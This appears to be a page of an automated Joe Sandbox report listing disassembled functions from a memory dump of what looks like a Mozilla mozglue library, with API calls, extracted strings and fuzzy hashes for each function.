Instruction Fuzzy Hash: A592CC71A056018FD724CF29C480755FBE1BF8A728F29CA6DE8698B791D331E841CBD9

Function 6C6BC4A0 Relevance: 35.2, APIs: 26, Instructions: 2665COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C6BC5F9
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C6BC6FB
memset.VCRUNTIME140(?,00000000,00004008), ref: 6C6BC74D
memset.VCRUNTIME140(?,00000000,00004008), ref: 6C6BC7DE
memset.VCRUNTIME140(?,00000000,00004014), ref: 6C6BC9D5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C6BCC76
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C6BCD7A
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C6BDB40
memcpy.VCRUNTIME140(?,?,?), ref: 6C6BDB62
memcpy.VCRUNTIME140(?,?,?), ref: 6C6BDB99
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C6BDD8B
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C6BDE95
memcpy.VCRUNTIME140(?,?,?), ref: 6C6BE360
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C6BE432
memcpy.VCRUNTIME140(?,?,?), ref: 6C6BE472

Memory Dump Source

Source File: 00000000.00000002.2463124173.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2463099308.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463204634.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463238727.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463260539.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction ID: 07666fdb95abeea65de448be75d2845b17df2f4a7965e0ad538a7b64aa7667bc
Opcode Fuzzy Hash: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction Fuzzy Hash: 5733AC71E0021A8FCB04CFA8C8806EDBBF2FF49314F288269D955BB755D731A956CB94

Function 6C67ED10 Relevance: 32.4, APIs: 16, Strings: 2, Instructions: 5407COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00010030), ref: 6C67EE7A
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6C67EFB5
memcpy.VCRUNTIME140(?,?,?,?), ref: 6C681695
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C6816B4
memset.VCRUNTIME140(00000002,000000FF,?,?), ref: 6C681770
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C681A3E

Strings

~qel, xrefs: 6C67ED10
~qel, xrefs: 6C67ED13

Memory Dump Source

Source File: 00000000.00000002.2463124173.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2463099308.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463204634.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463238727.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463260539.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: memset$freemallocmemcpy
String ID: ~qel$~qel
API String ID: 3693777188-2922831641
Opcode ID: b0d6fbd152e4c27c75d6ad2b320a4be92d76d63439be627fe0f1e3c33d2acc78
Instruction ID: 8fa18b222c337912a8b1ca23478ce27298b3960ccb6cabc63e13a2ac82a5fafa
Opcode Fuzzy Hash: b0d6fbd152e4c27c75d6ad2b320a4be92d76d63439be627fe0f1e3c33d2acc78
Instruction Fuzzy Hash: 13B33971E01219CFCB24CFA8C890ADDB7B2BF49304F2585A9D459AB745D730AD86CFA4

Function 6C66FD00 Relevance: 31.4, APIs: 17, Strings: 3, Instructions: 1360memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C6DE7B8), ref: 6C66FF81
LeaveCriticalSection.KERNEL32(6C6DE7B8), ref: 6C67022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6C670240
EnterCriticalSection.KERNEL32(6C6DE768), ref: 6C67025B
LeaveCriticalSection.KERNEL32(6C6DE768), ref: 6C67027B

Strings

: (malloc) Error in VirtualFree(), xrefs: 6C670D67, 6C670D7B, 6C670DAC
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C66FE99, 6C66FEB7, 6C66FED3, 6C670DB8, 6C670DD3, 6C6719B4
<jemalloc>, xrefs: 6C670D62, 6C670D76, 6C670DA7

Memory Dump Source

Source File: 00000000.00000002.2463124173.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2463099308.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463204634.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463238727.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463260539.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3577267516
Opcode ID: 498597fbc7d55b41ee2c801f08bbf64f5f214a6b7b6fbc0117505a98ef7eea40
Instruction ID: e8992d00596065b3b005aafba80a9a854203beed125ea67ceae0e362e91cc08c
Opcode Fuzzy Hash: 498597fbc7d55b41ee2c801f08bbf64f5f214a6b7b6fbc0117505a98ef7eea40
Instruction Fuzzy Hash: 01C20271A057418FD724CF28C590756BBE1BF85328F28CA6DE4698B7D5C732E801CBA9

Function 6C6BE680 Relevance: 31.1, APIs: 22, Instructions: 3648COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00004014), ref: 6C6BE811
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C6BEAA8
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C6BEBD5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C6BEEF6
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C6BF223
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6C6BF322
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C6C0E03
memcpy.VCRUNTIME140(?,?,?,?), ref: 6C6C0E54
memcpy.VCRUNTIME140(?,?,?), ref: 6C6C0EAE
memcpy.VCRUNTIME140(?,?,?), ref: 6C6C0ED4

Memory Dump Source

Source File: 00000000.00000002.2463124173.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2463099308.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463204634.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463238727.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463260539.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: c8e1b55e4da7bfd3646139be31583bd68617d8375b9079d4d794990734b32e14
Instruction ID: 09fc73846ed4e5b5e4925d412a24fb1bb0b96869d3e965f44c9892b77a9da60c
Opcode Fuzzy Hash: c8e1b55e4da7bfd3646139be31583bd68617d8375b9079d4d794990734b32e14
Instruction Fuzzy Hash: F063AD75E0025A8FCB04CFA8C8806DDFBB2FF89304F298269D855BB755D730A946CB95

Function 6C693E50 Relevance: 28.8, APIs: 13, Strings: 3, Instructions: 765COMMON

Download Yara Rule

APIs

Part of subcall function 6C6B7770: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(}>il,?,?,?,6C693E7D,?,?), ref: 6C6B777C

tolower.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000), ref: 6C693F17
memset.VCRUNTIME140(?,00000000,00000110), ref: 6C693F5C
VerSetConditionMask.NTDLL ref: 6C693F8D
VerSetConditionMask.NTDLL ref: 6C693F99
VerSetConditionMask.NTDLL ref: 6C693FA0
VerSetConditionMask.NTDLL ref: 6C693FA7
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6C693FB4

Strings

nvinit.dll, xrefs: 6C694479
nvd3d9wrap.dll, xrefs: 6C694466
C>il, xrefs: 6C693E93

Memory Dump Source

Source File: 00000000.00000002.2463124173.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2463099308.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463204634.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463238727.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463260539.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemsettolowerwcslen
String ID: C>il$nvd3d9wrap.dll$nvinit.dll
API String ID: 1189858803-416255230
Opcode ID: 90aaa3219a0734a8e10a1853969c769a5af7cb6c33ae41dd46dc9edeb52facce
Instruction ID: c4b7b43111936190e031cebce628acb0aecf7b3affde093ccdcb8ce31f9d9907
Opcode Fuzzy Hash: 90aaa3219a0734a8e10a1853969c769a5af7cb6c33ae41dd46dc9edeb52facce
Instruction Fuzzy Hash: 2452F531614B459FDB10DF348480ABBB7E9AF86304F04096DE5978BB82CB74F909CB68

Function 6C66FEF0 Relevance: 23.8, APIs: 13, Strings: 2, Instructions: 1294memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C6DE7B8), ref: 6C66FF81
LeaveCriticalSection.KERNEL32(6C6DE7B8), ref: 6C67022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6C670240
EnterCriticalSection.KERNEL32(6C6DE768), ref: 6C67025B
LeaveCriticalSection.KERNEL32(6C6DE768), ref: 6C67027B

Strings

MOZ_CRASH(), xrefs: 6C670CA7
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C66FE99, 6C66FEB7, 6C66FED3, 6C670DB8, 6C670DD3, 6C6719B4, 6C671A10

Memory Dump Source

Source File: 00000000.00000002.2463124173.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2463099308.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463204634.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463238727.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463260539.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3566792288
Opcode ID: 377a90b1383cd4f6e410060cebd0b236d3e52c14ea21b1dc2458dfe8be273a8a
Instruction ID: c5f8d1fd12965b830365947a9c50168999fe390861b717d07dff7eeaa7903c5c
Opcode Fuzzy Hash: 377a90b1383cd4f6e410060cebd0b236d3e52c14ea21b1dc2458dfe8be273a8a
Instruction Fuzzy Hash: 99B2FE316057418FD724CF28C5D0716BBE1BF85328F28CA6DE86A8BB95C731E840CB69

Function 6C6A5600 Relevance: 22.0, APIs: 6, Strings: 6, Instructions: 950COMMON

Download Yara Rule

Strings

ProfileBuffer parse error: %s, xrefs: 6C6A5AC8, 6C6A5CBB
expected a Count entry, xrefs: 6C6A5AC3
schema, xrefs: 6C6A606D
data, xrefs: 6C6A6131
name, xrefs: 6C6A5E79, 6C6A5E8F
expected a Time entry, xrefs: 6C6A5CB6

Memory Dump Source

Source File: 00000000.00000002.2463124173.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2463099308.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463204634.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463238727.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463260539.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID:
String ID: ProfileBuffer parse error: %s$data$expected a Count entry$expected a Time entry$name$schema
API String ID: 0-2712937348
Opcode ID: 76e69116b1e6e1704ffc8b5cc9e5656b803a2a136cdc7f196174341f995c3bdf
Instruction ID: 15787890fe778cc31cb661b3cbed2d527a4f8242da0139c910558a72f95608e2
Opcode Fuzzy Hash: 76e69116b1e6e1704ffc8b5cc9e5656b803a2a136cdc7f196174341f995c3bdf
Instruction Fuzzy Hash: 1F926CB1A087418FD724CF59C49079AB7E1FFC9308F14891DE59A9B751DB30E80ACB9A

Function 6C667810 Relevance: 21.4, APIs: 12, Strings: 2, Instructions: 372COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C6DE744), ref: 6C667885
LeaveCriticalSection.KERNEL32(6C6DE744), ref: 6C6678A5
EnterCriticalSection.KERNEL32(6C6DE784), ref: 6C6678AD
LeaveCriticalSection.KERNEL32(6C6DE784), ref: 6C6678CD
EnterCriticalSection.KERNEL32(6C6DE7DC), ref: 6C6678D4
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C6678E9
EnterCriticalSection.KERNEL32(00000000), ref: 6C66795D
memset.VCRUNTIME140(?,00000000,00000160), ref: 6C6679BB
LeaveCriticalSection.KERNEL32(?), ref: 6C667BBC
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C667C82
LeaveCriticalSection.KERNEL32(6C6DE7DC), ref: 6C667CD2
memset.VCRUNTIME140(00000000,00000000,00000450), ref: 6C667DAF

Strings

Dml, xrefs: 6C66787F
Dml, xrefs: 6C66789F

Memory Dump Source

Source File: 00000000.00000002.2463124173.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2463099308.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463204634.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463238727.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463260539.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavememset
String ID: Dml$Dml
API String ID: 759993129-3425531392
Opcode ID: d23d996a0f9e3a55aa609b5edafcd711e60c1d3eafb575495485f5ea4c559981
Instruction ID: 125649142443908d71c898b46f96a21a619487f8041afc8721a811fe35b8d554
Opcode Fuzzy Hash: d23d996a0f9e3a55aa609b5edafcd711e60c1d3eafb575495485f5ea4c559981
Instruction Fuzzy Hash: D3027471A0121ACFDB54CF1AC984799B7B5FF88318F2542AAD809A7B11D730BE91CF85

Function 6C6A2E4E Relevance: 19.8, APIs: 8, Strings: 3, Instructions: 579stringCOMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6C6A2ED3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C6A2EE7
MozFormatCodeAddressDetails.MOZGLUE(?,000000FF,00000000,?,?), ref: 6C6A2F0D
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C6A3214
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C6A3242
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C6A36BF

Strings

get , xrefs: 6C6A3205
set , xrefs: 6C6A36EC
MOZ_PROFILER_SYMBOLICATE, xrefs: 6C6A378D

Memory Dump Source

Source File: 00000000.00000002.2463124173.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2463099308.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463204634.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463238727.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463260539.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: strlen$AddressCode$DescribeDetailsFormat
String ID: MOZ_PROFILER_SYMBOLICATE$get $set
API String ID: 2257098003-3318126862
Opcode ID: 0f2f3cde56ae256f8e4f2838535945ccd874a002808d56f1c33e8a395cb1cd4e
Instruction ID: e335c5896470117f24a1d7905bca94b85fc95766e42619db47664e281dacefd1
Opcode Fuzzy Hash: 0f2f3cde56ae256f8e4f2838535945ccd874a002808d56f1c33e8a395cb1cd4e
Instruction Fuzzy Hash: 23325F706083818FD324CF64C4906AEF7E2AFCA318F54892DE59987751DB31E94ACB5B

Function 6C697E10 Relevance: 19.7, APIs: 6, Strings: 5, Instructions: 403COMMON

Download Yara Rule

Strings

(pre-xul), xrefs: 6C697E88
schema, xrefs: 6C6981E3, 6C698311
data, xrefs: 6C698280, 6C6983E1
name, xrefs: 6C697ECF, 6C698335
vml, xrefs: 6C698207

Memory Dump Source

Source File: 00000000.00000002.2463124173.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2463099308.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463204634.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463238727.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463260539.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: memcpystrlen
String ID: (pre-xul)$data$name$schema$vml
API String ID: 3412268980-1127494330
Opcode ID: 50d35162e2be8bb4c1390a11102234f542ceebbfd6a3dbc931716a11d87444ef
Instruction ID: d705e3e16f5a66896cbab592bcc7b139a249099473c9c99f12f19ba6965382d3
Opcode Fuzzy Hash: 50d35162e2be8bb4c1390a11102234f542ceebbfd6a3dbc931716a11d87444ef
Instruction Fuzzy Hash: 95E17EB1A043418BC710CF69884065BFBE9FBC5318F154A2DE899D7790DBB0ED498B9A

Function 6C6B5FF0 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 76COMMON

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 6C6B6009
??0PrintfTarget@mozilla@@IAE@XZ.MOZGLUE ref: 6C6B6024
?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(Qel,?), ref: 6C6B6046
OutputDebugStringA.KERNEL32(?,Qel,?), ref: 6C6B6061
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C6B6069
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C6B6073
_dup.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C6B6082
_fdopen.API-MS-WIN-CRT-MATH-L1-1-0(00000000,6C6D148E), ref: 6C6B6091
__stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,Qel,00000000,?), ref: 6C6B60BA
fclose.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C6B60C4

Strings

Qel, xrefs: 6C6B5FFC, 6C6B6042, 6C6B6045, 6C6B60B3

Memory Dump Source

Source File: 00000000.00000002.2463124173.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2463099308.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463204634.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463238727.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463260539.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: PrintfTarget@mozilla@@$?vprint@DebugDebuggerOutputPresentString__acrt_iob_func__stdio_common_vfprintf_dup_fdopen_filenofclose
String ID: Qel
API String ID: 3835517998-143502305
Opcode ID: a4574409b69409ae6be25b6d807e4b3fa98b40acfd1afdc6698b14afde359f41
Instruction ID: 0bee4949a3c12674624caf69fdf099db811cb994a11b43c0f01aa4cdd0b21ba7
Opcode Fuzzy Hash: a4574409b69409ae6be25b6d807e4b3fa98b40acfd1afdc6698b14afde359f41
Instruction Fuzzy Hash: 5F21C971A002089FDF105F25DC89AAE7BB8FF85714F008428E95AD7241CB75B559CFEA

Function 6C675E90 Relevance: 19.2, APIs: 5, Strings: 6, Instructions: 2651COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(-0000000C), ref: 6C675EDB
memset.VCRUNTIME140(ewkl,000000E5,?), ref: 6C675F27
LeaveCriticalSection.KERNEL32(?), ref: 6C675FB2
memset.VCRUNTIME140(ewkl,000000E5,?), ref: 6C6761F0
VirtualFree.KERNEL32(-00000001,00100000,00004000), ref: 6C677652

Strings

MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C6772E3
MOZ_CRASH(), xrefs: 6C677BA4
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C67730D
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C6772F8
ewkl, xrefs: 6C675E9C, 6C675F22, 6C6761ED
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C677BCD, 6C677C1F, 6C677C34, 6C6780FD

Memory Dump Source

Source File: 00000000.00000002.2463124173.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2463099308.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463204634.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463238727.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463260539.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSectionmemset$EnterFreeLeaveVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)$ewkl
API String ID: 2613674957-540203688
Opcode ID: 680c48dcf9b31852c235396ec589b556973e22b603f0989a5bb0c17bd00a9d83
Instruction ID: 13738e89483b599a26ee7064ab1de4d6f5ddb4f79b35eb5c83b6c5f952d12e41
Opcode Fuzzy Hash: 680c48dcf9b31852c235396ec589b556973e22b603f0989a5bb0c17bd00a9d83
Instruction Fuzzy Hash: 9C33BC716067018FC325CF28C590615BBE2FF85328F29CBADE8698B7A5D731E841CB59

Function 6C6A4820 Relevance: 18.2, APIs: 1, Strings: 9, Instructions: 744COMMON

Download Yara Rule

Strings

expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration, xrefs: 6C6A4D0A
expected a ProfilerOverheadDuration entry after ProfilerOverheadTime, xrefs: 6C6A4CAF
ProfileBuffer parse error: %s, xrefs: 6C6A4DD9
expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*3, xrefs: 6C6A4DB8, 6C6A4DD8
schema, xrefs: 6C6A48C1
data, xrefs: 6C6A49B4
ml, xrefs: 6C6A4F88
-%llu, xrefs: 6C6A4825
expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*2, xrefs: 6C6A4D65

Memory Dump Source

Source File: 00000000.00000002.2463124173.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2463099308.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463204634.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463238727.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463260539.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: free
String ID: ml$-%llu$ProfileBuffer parse error: %s$data$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*2$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*3$schema
API String ID: 1294909896-1201911369
Opcode ID: 8a0ca586c4e7f85565d8d4fcc1a4a0eb16d418c4a01c2afc4310c15e1857a3e3
Instruction ID: 8fcfe4031aeec2e59cb8cdb0fc181e9fe1cd57aec7edbe6baab26d8344da2cb0
Opcode Fuzzy Hash: 8a0ca586c4e7f85565d8d4fcc1a4a0eb16d418c4a01c2afc4310c15e1857a3e3
Instruction Fuzzy Hash: 90723F71958B858BD361CF34C4513ABF7E5BFDA344F108B1DE48A6B610EB70A886CB46

Function 6C67D4D0 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 251COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C6DE784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C68D1C5), ref: 6C67D4F2
LeaveCriticalSection.KERNEL32(6C6DE784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C68D1C5), ref: 6C67D50B

Part of subcall function 6C65CFE0: EnterCriticalSection.KERNEL32(6C6DE784), ref: 6C65CFF6
Part of subcall function 6C65CFE0: LeaveCriticalSection.KERNEL32(6C6DE784), ref: 6C65D026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C68D1C5), ref: 6C67D52E
EnterCriticalSection.KERNEL32(6C6DE7DC), ref: 6C67D690
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C67D6A6
LeaveCriticalSection.KERNEL32(6C6DE7DC), ref: 6C67D712
LeaveCriticalSection.KERNEL32(6C6DE784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C68D1C5), ref: 6C67D751
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C67D7EA

Strings

: (malloc) Error initializing arena, xrefs: 6C67D82C
<jemalloc>, xrefs: 6C67D827

Memory Dump Source

Source File: 00000000.00000002.2463124173.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2463099308.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463204634.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463238727.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463260539.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$K@1@Maybe@_RandomUint64@mozilla@@$CountInitializeSpin
String ID: : (malloc) Error initializing arena$<jemalloc>
API String ID: 2690322072-3894294050
Opcode ID: 87ce9bd5f3aff67cde588faddb11a27f5e74e8bb6ca9c4638c38cf2c6ce1d661
Instruction ID: 8e5b2784bc4e44ae93db445447a53da21b8530f242c60e12b6fd494aaa9eed1f
Opcode Fuzzy Hash: 87ce9bd5f3aff67cde588faddb11a27f5e74e8bb6ca9c4638c38cf2c6ce1d661
